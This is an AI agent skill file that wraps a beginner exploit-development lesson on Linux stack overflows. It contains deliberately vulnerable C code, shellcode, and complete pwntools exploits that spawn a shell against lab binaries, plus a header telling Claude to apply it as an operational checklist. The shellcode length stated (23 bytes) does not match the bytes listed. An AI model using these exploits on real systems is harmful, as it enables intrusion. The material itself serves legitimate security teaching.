Imported from ehadziabdic/WAgents (skills/base-hacker-claude-red/vendor/Claude-Red/Skills/exploit-dev/offensive-basic-exploitation/SKILL.md). Install upstream with npx skills add ehadziabdic/WAgents --skill offensive-basic-exploitation. Copyright stays with the author.

SKILL: Week 5: Basic Exploitation (Linux with Mitigations Disabled)

Metadata

• Skill Name: basic-exploitation
• Folder: offensive-basic-exploitation
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/5-basic-exploitation.md

Description

Week 5 exploit development curriculum. Foundational exploitation techniques: controlling EIP/RIP, ROP chain construction, ret2libc, shellcode injection, heap spraying, bypass techniques for ASLR/NX/stack canaries. Use when building initial PoCs or understanding classic exploitation primitives.

Trigger Phrases

Use this skill when the conversation involves any of: basic exploitation, EIP control, RIP control, ROP chain, ret2libc, shellcode injection, heap spray, ASLR bypass, NX bypass, stack canary bypass, week 5

Instructions for Claude

When this skill is active:

1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

Full Methodology

Week 5: Basic Exploitation (Linux with Mitigations Disabled)

Overview

created by AnotherOne from @Pwn3rzs Telegram channel.

Now that you can find and analyze vulnerabilities (Week 2 & 4), it's time to learn exploitation. This week focuses on fundamental exploitation techniques in a simplified Linux environment with modern mitigations (DEP, ASLR, stack canaries) disabled. Mastering these basics is essential before tackling mitigation bypasses in Week 7.

Next week (Week 6) we'll focus on understanding mitigations in both Linux and Windows. Week 7 will cover bypassing them.

Learning Environment:

• CPU arch (default): amd64 (x86-64)
• OS: Ubuntu 24.04 LTS (Linux)
• Compiler Flags: Disable protections (-fno-stack-protector, -no-pie, -z execstack for ret2shellcode labs, /GS-)
• ASLR: Keep enabled system-wide; disable per-process (setarch -R) or in GDB (set disable-randomization on) for deterministic labs
• Focus: Pure exploitation techniques without bypass complexity

Day 1: Environment Setup and Stack Overflow Fundamentals

• Goal: Set up exploitation lab and understand stack buffer overflow mechanics.
• Activities:
  • Reading:
    • "Hacking: The Art of Exploitation" 2nd edition, by Jon Erickson - Chapter 0x300: "EXPLOITATION"
    • Smashing The Stack For Fun And Profit - Classic paper
  • Online Resources:
    • x86-64 Calling Conventions
    • Stack Layout Visualization
  • Tool Setup:
    • Ubuntu VM with protections disabled
    • pwntools, pwndbg, ROPgadget
  • Exercise:
    • Compile and exploit first vulnerable program
    • Overwrite return address to execute shellcode

Context: QNAP Stack Overflow (CVE-2024-27130)

• Recall the QNAP QTS Stack Overflow from Week 1? That was a classic stack buffer overflow caused by strcpy without bounds checking—exactly what we'll be exploiting today.
• While modern systems have mitigations (which we'll disable for now), the underlying mechanic remains the same: overwriting the return address to hijack control flow.

Deliverables

• Environment: ~/check_env.sh passes and you recorded its output
• Binary: vuln1 built and verified with checksec
• Primitive proof: RIP control demonstrated (controlled crash address)
• Exploit: exploit1.py (or equivalent) spawns a shell reliably
• Notes: brief writeup covering offset, return target, and payload layout

Setting Up the Lab Environment

Ubuntu VM Configuration:

[!IMPORTANT] ASLR Policy: Keep ASLR enabled system-wide for security. Disable only per-process for labs. Never disable ASLR globally on a machine connected to the internet.

# ============================================================
# ASLR CONFIGURATION (Per-Process Only - Do NOT disable globally!)
# ============================================================
# Option 0: Disable ASLR system-wide
# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# echo "kernel.randomize_va_space = 0" | sudo tee /etc/sysctl.d/99-disable-aslr.conf
# sudo sysctl --system

# Option 1: Disable in GDB (recommended for debugging)
# In GDB/pwndbg:
# (gdb) set disable-randomization on    # Default in GDB
# (gdb) set disable-randomization off   # If you want ASLR during debug

# Option 2: Disable for a single binary run
setarch x86_64 -R ./binary

# Option 3: In pwntools (for local process only)
# p = process('./binary', aslr=False)

# VERIFY: Check system ASLR is STILL ENABLED
cat /proc/sys/kernel/randomize_va_space
# Should output: 2 (full ASLR) - DO NOT change this!

# If you previously disabled ASLR system-wide, RE-ENABLE it:
# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
# sudo rm -f /etc/sysctl.d/99-disable-aslr.conf  # Remove any persistent config

# ============================================================
# INSTALL ESSENTIAL TOOLS
# ============================================================

sudo apt update
sudo apt install -y \
    nasm \
    strace \
    ltrace \
    ruby \
    ruby-dev \
    libc6-dbg \
    checksec \
    patchelf

cd ~/crash_analysis_lab
source .venv/bin/activate
pip install ropgadget

# Install one_gadget (quick shell gadgets)
sudo gem install one_gadget

# Install radare2 (optional but useful)
cd ~/tools
git clone --depth 1 --branch master https://github.com/radareorg/radare2
cd radare2
sys/install.sh

# Check glibc version (important for heap exploitation)
ldd --version
# Ubuntu 24.04 ships with glibc 2.39

# ============================================================
# STANDARDIZED COMPILATION PROFILES (AMD64)
# ============================================================
# Create a Makefile with canonical build profiles for labs:

cat > ~/lab-Makefile << 'MAKEFILE'
# Lab Exploitation Makefile - AMD64 Only
# Usage: make <target> BINARY=myprogram SOURCE=myprogram.c

CC = gcc
SOURCE ?= vuln.c
BINARY ?= vuln

# Base flags for all builds (AMD64)
BASE_CFLAGS = -g -O0 -fno-omit-frame-pointer -fno-stack-protector
BASE_LDFLAGS = -no-pie

# Training profiles:
# 0. disabled: most things disabled
# 1. training-shellcode: NX disabled, for ret2shellcode exercises
# 2. training-rop: NX enabled, for ROP/ret2libc exercises
# 3. training-relro-off: Partial RELRO, for GOT overwrite exercises
# 4. training-full-relro: Full RELRO, to demonstrate GOT write fails
# 5. format-sec: for format-security bugs

disabled: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -z execstack -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-shellcode: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -z execstack -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-rop: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-relro-off: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,norelro -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=OFF"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-full-relro: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,relro,-z,now -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=FULL (GOT read-only!)"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

format-sec: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -Wno-format-security -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

# Show all protections
check:
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

clean:
	rm -f $(BINARY) *.o

.PHONY: disabled training-shellcode training-rop training-relro-off training-full-relro format-sec check clean
MAKEFILE

echo "Makefile created at ~/lab-Makefile"
echo "Copy to your lab directory: cp ~/lab-Makefile ./Makefile"

[!NOTE] Ubuntu 24.04:

• Uses glibc 2.39 with full safe-linking and removed hooks
• Requires python3-venv for pip package installation (PEP 668)
• For classic heap techniques, consider using Docker with older Ubuntu

GDB Enhancement Options

Verify Setup:

mkdir -p exploit
cd exploit
cp ~/lab-Makefile ./Makefile
source ~/crash_analysis_lab/.venv/bin/activate

# Test pwntools
python3 -c "from pwn import *; print('pwntools OK')"

# Test compilation without protections (AMD64)
cat > test.c << 'EOF'
#include <stdio.h>
#include <string.h>
int main() {
    char buf[100];
    gets(buf);  // Vulnerable: reads from stdin, no bounds check
    return 0;
}
EOF

make training-shellcode BINARY=test SOURCE=test.c
#gcc -g -O0 -w -fno-stack-protector -z execstack -no-pie test.c -o test
# Should compile without errors (-w suppresses gets() warning)
# Check binary protections (should all be disabled)
# Use either: checksec (from apt) or pwn checksec (from pwntools)
# checksec --file=./test
# Or: pwn checksec ./test
# Expected output (may vary slightly by checksec version):
#     Arch:       amd64-64-little
#     RELRO:      Partial RELRO
#     Stack:      No canary found
#     NX:         NX unknown - GNU_STACK missing  (effectively disabled via -z execstack)
#     PIE:        No PIE (0x400000)
#     Stack:      Executable
#     RWX:        Has RWX segments
#     SHSTK:      Enabled    (Intel CET Shadow Stack - CPU feature, not binary)
#     IBT:        Enabled    (Intel CET Indirect Branch Tracking)
# Note: "NX unknown" with "Stack: Executable" means shellcode execution works

# ============================================================
# SANITY CHECK SCRIPT (Run Before Each Lab)
# ============================================================
cat > ~/check_env.sh << 'SCRIPT'
#!/bin/bash
# Lab Environment Sanity Check
# Run: ./check_env.sh [binary]

echo "=== Lab Environment Check ==="
echo ""

# System info
echo "[*] System Information:"
echo "    Kernel: $(uname -r)"
echo "    glibc:  $(ldd --version | head -1 | awk '{print $NF}')"
echo ""

# ASLR status
echo "[*] ASLR Status:"
ASLR=$(cat /proc/sys/kernel/randomize_va_space)
case $ASLR in
    0) echo "    WARNING: ASLR is DISABLED system-wide (insecure!)" ;;
    1) echo "    Partial ASLR (stack only)" ;;
    2) echo "    Full ASLR enabled (correct for system)" ;;
esac
echo ""

# Binary check
if [ -n "$1" ] && [ -f "$1" ]; then
    echo "[*] Binary Analysis: $1"
    echo "    Architecture: $(file "$1" | grep -oE '(32|64)-bit')"
    checksec --file="$1" 2>/dev/null || pwn checksec "$1" 2>/dev/null
    echo ""
fi

# GDB randomization
echo "[*] GDB ASLR (check inside GDB with 'show disable-randomization'):"
echo "    Default: ON (disabled randomization = deterministic addresses)"
echo ""

echo "[+] Environment check complete."
echo "    For per-process ASLR disable: setarch x86_64 -R ./binary"
echo "    Or in pwntools: process('./binary', aslr=False)"
SCRIPT
chmod +x ~/check_env.sh
echo "Sanity check script created: ~/check_env.sh"
~/check_env.sh

pwntools Essentials

Before diving into exploitation, master these pwntools fundamentals. The ELF() class is your primary interface for analyzing binaries—use it throughout this course.

ELF() Basics:

cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
cp ~/crash_analysis_lab/vuln_no_protect .

#!/usr/bin/env python3
# ~/exploit/1.py
from pwn import *

# Load the binary and set context
elf = ELF('./vuln_no_protect')
context.binary = elf   # Auto-sets arch, os, endian, bits
context.arch = 'amd64' # Explicit (redundant if context.binary is set)

# Binary metadata (always check these first!)
print(f"Architecture: {elf.arch}")          # amd64
print(f"Bits: {elf.bits}")                   # 64
print(f"Endian: {elf.endian}")               # little
print(f"PIE enabled: {elf.pie}")             # True/False
print(f"Entry point: {hex(elf.entry)}")      # Where execution starts

# Security mitigations (same as checksec)
print(elf.checksec())

# Symbol lookup - CRITICAL for exploitation
print(f"main @ {hex(elf.symbols['main'])}")
print(f"vulnerable_function @ {hex(elf.symbols['stack_overflow'])}")

# Find imported functions (from libc)
print(f"puts@plt: {hex(elf.plt['puts'])}")   # PLT stub
print(f"puts@got: {hex(elf.got['puts'])}")   # GOT entry

# Find gadgets and strings
print(f"'/bin/sh' in binary: {hex(elf.search(b'/bin/sh').__next__())}" if b'/bin/sh' in elf.data else "Not found")

# For binaries linked with libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print(f"system in libc: {hex(libc.symbols['system'])}")
print(f"/bin/sh in libc: {hex(next(libc.search(b'/bin/sh')))}")

Context Configuration (set BEFORE any pwntools operations):

# ~/exploit/2.py
from pwn import *

# === CRITICAL: Set context from binary (AMD64) ===
elf = ELF('./vuln_no_protect')
context.binary = elf     # Sets arch='amd64', os='linux', endian='little' automatically!

# Or set explicitly (redundant if context.binary is set)
# context.arch = 'amd64'
# context.os = 'linux'
# context.endian = 'little'

# Logging level
context.log_level = 'debug'  # Show all pwntools output
context.log_level = 'info'   # Normal output (default)
context.log_level = 'error'  # Only errors

# Data packing (architecture-aware after setting context)
addr = p64(0xdeadbeef)        # Pack 64-bit address (little-endian) - AMD64
val = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')  # Unpack 8 bytes to integer

Understanding the Stack (AMD64)

Stack Layout (x86-64 / AMD64):

High Memory
┌─────────────────────┐
│  Command-line args  │
├─────────────────────┤
│  Environment vars   │
├─────────────────────┤
│        ...          │
├─────────────────────┤
│   Stack Frame N     │
│  ┌───────────────┐  │
│  │   Locals      │  │ ← RSP (Stack Pointer)
│  ├───────────────┤  │
│  │   Saved RBP   │  │ ← RBP (Base Pointer)
│  ├───────────────┤  │
│  │   Return Addr │  │ ← Overwrite target! (8 bytes on AMD64)
│  ├───────────────┤  │
│  │   (Args 7+)   │  │   (First 6 args in registers!)
│  └───────────────┘  │
├─────────────────────┤
│   Stack Frame N-1   │
├─────────────────────┤
│        ...          │
└─────────────────────┘
Low Memory

AMD64 vs x86 Key Differences:

System V AMD64 ABI Calling Convention:

; AMD64 function call: func(arg1, arg2, arg3, arg4, arg5, arg6, arg7)
; Arguments in order:
;   RDI = arg1
;   RSI = arg2
;   RDX = arg3
;   RCX = arg4
;   R8  = arg5
;   R9  = arg6
;   stack = arg7+ (pushed right-to-left)
; Return value: RAX

; Example: write(1, buf, len)
mov rdi, 1        ; fd = stdout
mov rsi, buf      ; buffer address
mov rdx, len      ; length
call write

; Syscall convention (slightly different):
;   RAX = syscall number
;   RDI, RSI, RDX, R10, R8, R9 = arguments (note: R10 instead of RCX!)
;   syscall instruction (not int 0x80)

Function Call Mechanics (AMD64):

; Calling a function (AMD64)
; Arguments go in registers (first 6)
mov rdi, arg1
mov rsi, arg2
call function      ; Pushes 8-byte return address

; Inside function
function:
    push rbp          ; Save old base pointer (8 bytes)
    mov rbp, rsp      ; Set new base pointer
    sub rsp, 0x40     ; Allocate space for locals (must maintain 16-byte alignment)

    ; Function body...

    mov rsp, rbp      ; Restore stack pointer (or: leave)
    pop rbp           ; Restore base pointer
    ret               ; Return (pops return address into RIP)

Buffer Overflow Visualization (AMD64):

Before overflow:
┌──────────────────┐
│   buffer[64]     │ ← strcpy writes here
├──────────────────┤
│   saved RBP      │  (8 bytes on AMD64)
├──────────────────┤
│  return address  │  (8 bytes on AMD64)
└──────────────────┘

After overflow with 80 'A's:
┌──────────────────┐
│ AAAAAAAAAA...    │ ← buffer filled (64 bytes)
├──────────────────┤
│ AAAAAAAA         │ ← saved RBP overwritten (8 bytes)
├──────────────────┤
│ AAAAAAAA         │ ← return address overwritten! (8 bytes)
└──────────────────┘

When function returns:
- Pops 0x4141414141414141 into RIP
- CPU tries to execute at 0x4141414141414141
- Segmentation fault (or controlled execution if address is valid)

First Vulnerable Program

vuln1.c:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
    char buffer[64];
    printf("Enter input: ");
    gets(buffer);  // Vulnerable! No bounds checking, allows null bytes
    printf("You entered: %s\n", buffer);
}

// Add this function to vuln1.c to include jmp rsp bytes
void gadgets() {
    __asm__("jmp *%rsp");  // This creates a jmp rsp gadget
}

int main() {
    printf("Buffer overflow example\n");
    vulnerable_function();
    printf("Returned safely\n");
    return 0;
}

Compile without protections (AMD64):

cd ~/exploit
# AMD64 compilation (no -m32!)
# -w suppresses the gets() deprecation warning
make disabled BINARY=vuln1 SOURCE=vuln1.c
#gcc -g -O0 -w \
#    -fno-stack-protector \
#    -fcf-protection=none \
#    -z execstack \
#    -no-pie \
#    -o vuln1 \
#    vuln1.c
#checksec --file=./vuln1

Finding the Offset

Step 1: Cause a Crash:

# Try various sizes via stdin
echo "AAAA" | ./vuln1
# Works fine

python3 -c "print('A' * 100)" | ./vuln1
# Segmentation fault

Step 2: Find Exact Offset (using pattern):

#!/usr/bin/env python3
#~/exploit/4.py
from pwn import *

context.arch = 'amd64'

# Generate cyclic pattern
pattern = cyclic(100)
print(pattern)

# Run program with pattern via stdin
# aslr=False + env={} for consistent addresses during learning
p = process('./vuln1', aslr=False, env={})
p.sendline(pattern)
p.wait()

In GDB with pwndbg (AMD64):

gdb ./vuln1

# Run and send pattern via stdin
pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(100).decode())")

# Or run, then paste pattern when prompted:
#pwndbg> run
#Enter input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

# Find offset from crash (RSP contains the pattern)
pwndbg> cyclic -n 4 -l saaa
# Output: 72

# So offset is 72 bytes (64 buffer + 8 saved RBP)

Verify Offset (AMD64):

# ~/exploit/5.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

# Build payload
payload = b"A" * 72                    # Fill buffer + saved RBP
payload += p64(0xdeadbeefcafebabe)     # Overwrite return address (8 bytes)

# Run and send via stdin (aslr=False for learning)
p = process('./vuln1', aslr=False, env={})
p.sendline(payload)
p.wait()

In GDB (AMD64):

gdb ./vuln1
pwndbg> run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xbe\xba\xfe\xca\xef\xbe\xad\xde')")

# Program crashes at ret instruction
# Check the stack:
pwndbg> x/gx $rsp
# 0x7fffffffe0b8: 0xdeadbeefcafebabe   <- We control the return address!

Working Exploit for vuln1 (stdin-based)

#!/usr/bin/env python3
# ~/exploit/exploit_vuln1.py
"""
Stack Buffer Overflow Exploit Template (stdin-based)

Target: vuln1 (reads input via gets() from stdin)
Vulnerability: gets() has no bounds checking, allows null bytes
Technique: ret2shellcode via jmp rsp gadget
"""
from pwn import *

# ============ SETUP (AMD64) ============
binary_path = './vuln1'
elf = ELF(binary_path)
context.binary = elf  # Sets arch=amd64 automatically

# ============ OFFSETS ============
# vulnerable_function() has: char buffer[64]
# Stack layout: [buffer:64] [saved RBP:8] [return addr:8]
OFFSET = 64 + 8  # = 72 bytes to overwrite return address

# ============ EXPLOIT ============
def exploit():
    # For LEARNING: Disable ASLR, clean environment for consistent addresses
    # For PRODUCTION: Use leaks and relative addressing
    # NOTE: stdin=PTY, stdout=PTY forces unbuffered output so prompts arrive
    #       before input is needed (otherwise printf buffers when piped)
    p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)

    # Alternatively, for remote targets:
    # p = remote('target.host', 1337)

    # Wait for prompt (important for synchronization!)
    p.recvuntil(b'Enter input: ')
    # ============ FIND GADGET ============
    # Our vuln1.c includes a jmp rsp gadget in gadgets()
    # Find it: ROPgadget --binary vuln1 | grep "jmp rsp"
    # Or use pwntools:
    rop = ROP(elf)
    try:
        jmp_rsp = rop.find_gadget(['jmp rsp'])[0]
    except:
        # Fallback: search for the bytes
        jmp_rsp = next(elf.search(asm('jmp rsp')))

    log.info(f"jmp rsp gadget @ {hex(jmp_rsp)}")

    # ============ BUILD PAYLOAD ============
    # Shellcode goes AFTER the return address (we jump to RSP)
    shellcode = asm(shellcraft.amd64.linux.sh())
    log.info(f"Shellcode length: {len(shellcode)} bytes")

    payload = b'A' * OFFSET           # Fill buffer + saved RBP
    payload += p64(jmp_rsp)           # Overwrite return address with jmp rsp
    payload += shellcode              # Shellcode right after return addr
                                      # RSP points here after ret!

    log.info(f"Total payload: {len(payload)} bytes")

    # ============ SEND PAYLOAD ============
    # sendline() sends raw bytes over the pipe - null bytes work fine!
    # This is the proper way to deliver exploits
    p.sendline(payload)

    # ============ GET SHELL ============
    log.success("Payload sent! Switching to interactive mode...")
    p.interactive()

def debug():
    """Debug mode - attach GDB manually"""
    p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)
    log.info("Run the following commands in a SECOND terminal")
    log.info("gdb -p $(pidof vuln1)")
    log.info("b vulnerable_function")
    log.info("c")
    pause()

    p.recvuntil(b'Enter input: ')
    payload = cyclic(200)
    p.sendline(payload)
    p.interactive()

if __name__ == '__main__':
    if args.GDB:
        debug()
    else:
        exploit()

# Usage:
# python3 exploit_vuln1.py           - Run exploit
# python3 exploit_vuln1.py GDB       - Debug with GDB attached
#
# Why stdin (not argv)?
# 1. Real exploits use network sockets or file input, not CLI args
# 2. pwntools handles null bytes transparently over pipes
# 3. Works identically for local process() and remote()
# 4. No shell escaping issues or argument parsing problems

Writing Simple Shellcode

Linux AMD64 Shellcode Basics:

Syscall Convention (AMD64):

• syscall instruction triggers syscall (NOT int 0x80!)
• rax = syscall number
• rdi, rsi, rdx, r10, r8, r9 = arguments (note: r10 instead of rcx)
• Return value in rax

execve("/bin/sh", NULL, NULL) Shellcode (AMD64):

; AMD64 execve syscall (rax = 59)
; rdi = pointer to "/bin/sh"
; rsi = NULL (argv)
; rdx = NULL (envp)

section .text
global _start

_start:
    ; Clear registers
    xor rsi, rsi          ; rsi = NULL (argv)
    xor rdx, rdx          ; rdx = NULL (envp)

    ; Push "/bin/sh" onto stack (with NULL terminator)
    xor rax, rax
    push rax              ; NULL terminator
    mov rax, 0x68732f6e69622f2f  ; "//bin/sh" in little-endian
    push rax

    ; Set up execve
    mov rdi, rsp          ; rdi = pointer to "//bin/sh"
    xor rax, rax
    mov al, 59            ; rax = 59 (execve syscall number)

    ; Execute
    syscall               ; Trigger syscall (NOT int 0x80!)

Assemble and Extract Bytes (AMD64):

cd ~/exploit
# Save as shellcode.asm
nasm -f elf64 shellcode.asm -o shellcode.o
ld -o shellcode shellcode.o

# Extract shellcode bytes
objdump -d shellcode -M intel

# Or use this one-liner
for i in $(objdump -d shellcode -M intel | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo

Result (23 bytes AMD64 shellcode):

shellcode = b"\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"

Test Shellcode Standalone (AMD64):

#!/usr/bin/env python3
#~/exploit/6.py
from pwn import *

context.arch = 'amd64'
context.os = 'linux'

# Generate shellcode with pwntools (preferred - handles arch automatically)
shellcode = asm(shellcraft.amd64.linux.sh())

# Method 1: Use run_shellcode (simplest)
p = run_shellcode(shellcode)
p.interactive()
# Should get shell!

# Method 2: Create executable and run
# Useful for debugging
#with open('/tmp/sc.bin', 'wb') as f:
#    f.write(shellcode)

Complete Exploit

exploit1.py (AMD64):

#!/usr/bin/env python3
"""
Stack Buffer Overflow Exploit for vuln1 (AMD64)

Technique: Direct ret2shellcode via stdin
Target: vuln1 (no protections, stdin-based input)

Run with: python exploit1.py
"""

from pwn import *

# Configuration
binary = './vuln1'
elf = ELF(binary)
context.binary = elf  # Sets arch=amd64 automatically
offset = 72  # 64 buffer + 8 saved RBP

# Shellcode with stack pivot to prevent self-destruction
# The pwntools shellcode uses push instructions which write backwards on the stack.
# After ret, RSP points just past our payload - push would overwrite our shellcode!
# Solution: Move RSP away first with "sub rsp, 0x100"
stack_pivot = asm('sub rsp, 0x100')
shellcode = stack_pivot + asm(shellcraft.amd64.linux.sh())

def exploit():
    # Start process with ASLR disabled using setarch wrapper
    # env={} clears environment variables for consistent stack addresses
    p = process(['setarch', 'x86_64', '-R', binary], env={})

    # Get buffer address by analyzing a crash:
    # 1. Generate payload with dummy address:
    #    python3 -c "from pwn import *; ..." > payload.bin
    # 2. Run and get core dump:
    #    ulimit -c unlimited
    #    env -i setarch x86_64 -R ./vuln1 < payload.bin
    # 3. Analyze core to find actual buffer location:
    #    gdb ./vuln1 core
    #    RSP after ret shows where we are on stack
    #    Buffer = (saved RBP location) - 0x40
    #
    # Note: GDB adds ~0x60 bytes to stack even with env -i, so addresses
    # found in GDB need adjustment for standalone execution.
    buffer_addr = 0x7fffffffecc0

    # Build payload:
    # [NOP sled][stack_pivot + shellcode][padding][return address -> buffer]
    payload = b"\x90" * 16            # NOP sled for tolerance
    payload += shellcode              # Stack pivot + shellcode
    payload += b"A" * (offset - len(payload))  # Padding to fill offset
    payload += p64(buffer_addr)       # Return to start of buffer (8 bytes)

    log.info(f"Shellcode length: {len(shellcode)}")
    log.info(f"Total payload: {len(payload)}")
    log.info(f"Jumping to: {hex(buffer_addr)}")

    # Send payload via stdin
    p.sendline(payload)

    # Interact with shell
    p.interactive()

if __name__ == "__main__":
    exploit()

Better Approach: Using jmp rsp Gadget (AMD64) (More Reliable):

[!TIP] Hardcoding stack addresses is fragile—addresses vary between GDB and normal execution, different terminals, environment sizes, etc. A jmp rsp or call rsp gadget provides a stable return target since RSP points to our controlled data after ret.

#!/usr/bin/env python3
#~/exploit/exploit2.py
"""
ret2shellcode using jmp rsp gadget (AMD64)

This approach is more reliable than hardcoded stack addresses because:
- Works regardless of environment variable differences
- No need to guess exact stack layout
- RSP points to our shellcode right after ret executes
"""
from pwn import *

binary = './vuln1'
elf = ELF(binary)
context.binary = elf  # Sets arch=amd64

def find_jmp_rsp():
    """Find a jmp rsp or call rsp gadget in the binary"""
    # Search for jmp rsp (0xff 0xe4) or call rsp (0xff 0xd4)
    try:
        jmp_rsp = next(elf.search(asm('jmp rsp')))
        log.success(f"Found jmp rsp at {hex(jmp_rsp)}")
        return jmp_rsp
    except StopIteration:
        pass

    try:
        call_rsp = next(elf.search(asm('call rsp')))
        log.success(f"Found call rsp at {hex(call_rsp)}")
        return call_rsp
    except StopIteration:
        pass

    # Try ROPgadget as fallback
    log.warning("No jmp/call rsp in binary, trying ROPgadget...")
    # Run: ROPgadget --binary ./vuln1 | grep "jmp rsp\|call rsp"
    return None

def exploit():
    offset = 72  # 64 buffer + 8 saved RBP (AMD64)

    # Find jmp rsp gadget
    jmp_rsp = find_jmp_rsp()
    if not jmp_rsp:
        log.error("No jmp rsp gadget found! Use fixed address method instead.")
        return

    # Shellcode (placed AFTER return address)
    shellcode = asm(shellcraft.amd64.linux.sh())

    # Payload layout:
    # [padding (72 bytes)][jmp_rsp addr (8 bytes)][nop sled][shellcode]
    # After ret: RIP = jmp_rsp, RSP points to nop sled
    payload = b"A" * offset           # Fill buffer + saved RBP
    payload += p64(jmp_rsp)           # Return to jmp rsp (8 bytes!)
    payload += b"\x90" * 16           # NOP sled (RSP lands here)
    payload += shellcode              # Shellcode executes

    # Launch and send via stdin
    p = process(binary)
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    exploit()

Debugging Your Exploit

When your exploit doesn't work (it won't on the first try!), use these systematic debugging techniques.

Method 1: GDB Attach with pwntools

#!/usr/bin/env python3
#~/exploit/exploit_debug.py
from pwn import *

elf = ELF('./vuln1')
context.binary = elf  # Sets arch=amd64

# Start process with ASLR disabled and clean env for learning
p = process('./vuln1', aslr=False, env={})

# Print PID and pause - attach GDB manually in another terminal/SSH session
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB in another terminal: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")

# Build and send payload (AMD64)
payload = b'A' * 72 + p64(0xdeadbeefcafe)
p.sendline(payload)

# Interact with the process
p.interactive()

Usage:

# Terminal 1: Run exploit
python exploit_debug.py
# It will print PID and wait...

# Terminal 2: Attach GDB
gdb -p <PID>
(gdb) break *vulnerable_function+74
(gdb) continue
# Press Enter in Terminal 1 to send payload

Example Debug Session Output:

After hitting the breakpoint at ret, you'll see something like:

pwndbg> # At ret instruction - examine the stack
pwndbg> x/20gx $rsp-0x60
0x7ffd11d25cb8: 0x0000000000403e00      0x00007ffd11d25d10
0x7ffd11d25cc8: 0x000000000040118e      0x4141414141414141  <- Buffer starts here
0x7ffd11d25cd8: 0x4141414141414141      0x4141414141414141
0x7ffd11d25ce8: 0x4141414141414141      0x4141414141414141
0x7ffd11d25cf8: 0x4141414141414141      0x4141414141414141
0x7ffd11d25d08: 0x4141414141414141      0x4141414141414141  <- Saved RBP (overwritten)
0x7ffd11d25d18: 0x0000deadbeefcafe      0x00007ffd11d25d00  <- Return address (overwritten)

Interpreting the output:

• Buffer address: 0x7ffd11d25cd0 (first A's at offset 0x8 from 0x7ffd11d25cc8)
• Our A's (0x4141414141414141) fill 64 bytes of buffer + 8 bytes of saved RBP
• Return address at 0x7ffd11d25d18 contains our value 0xdeadbeefcafe
• Offset confirmed: 72 bytes (64 buffer + 8 saved RBP) before return address

Method 2: Step-by-Step GDB Analysis (AMD64)

# Start GDB with ASLR disabled for consistent addresses
env -i setarch x86_64 -R gdb ./vuln1

# Set breakpoint at ret instruction (vulnerable_function+74)
pwndbg> break *vulnerable_function+74
pwndbg> run

# Program waits for input - type pattern to find offset:
Enter input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

# At breakpoint, examine key registers:
pwndbg> info registers rbp rsp rip
# RBP = 0x4242424242424242 (BBBBBBBB) - confirms offset 64 to saved RBP
# RSP points to return address location

# View stack layout around buffer:
pwndbg> x/20gx $rsp-0x60

# Find buffer address:
pwndbg> print $rbp - 0x40             # Buffer is at [rbp - 0x40] before overflow
# Or calculate from current RSP:
# buffer_addr = RSP - 8 (saved RBP) - 64 (buffer) = RSP - 72

# Step into ret to see crash:
pwndbg> si
# Will crash trying to jump to 0x4343434343434343 (CCCCCCCC)

# For automated testing with payload file:
#pwndbg> run < payload.bin

Common Debugging Scenarios:

The GDB vs Real Execution Problem:

The stack layout differs between GDB and normal execution due to environment variables:

# See the difference
env | wc -l       # Count env vars
env -i ./vuln1    # Run with empty environment

# In GDB, minimize environment
gdb -q ./vuln1
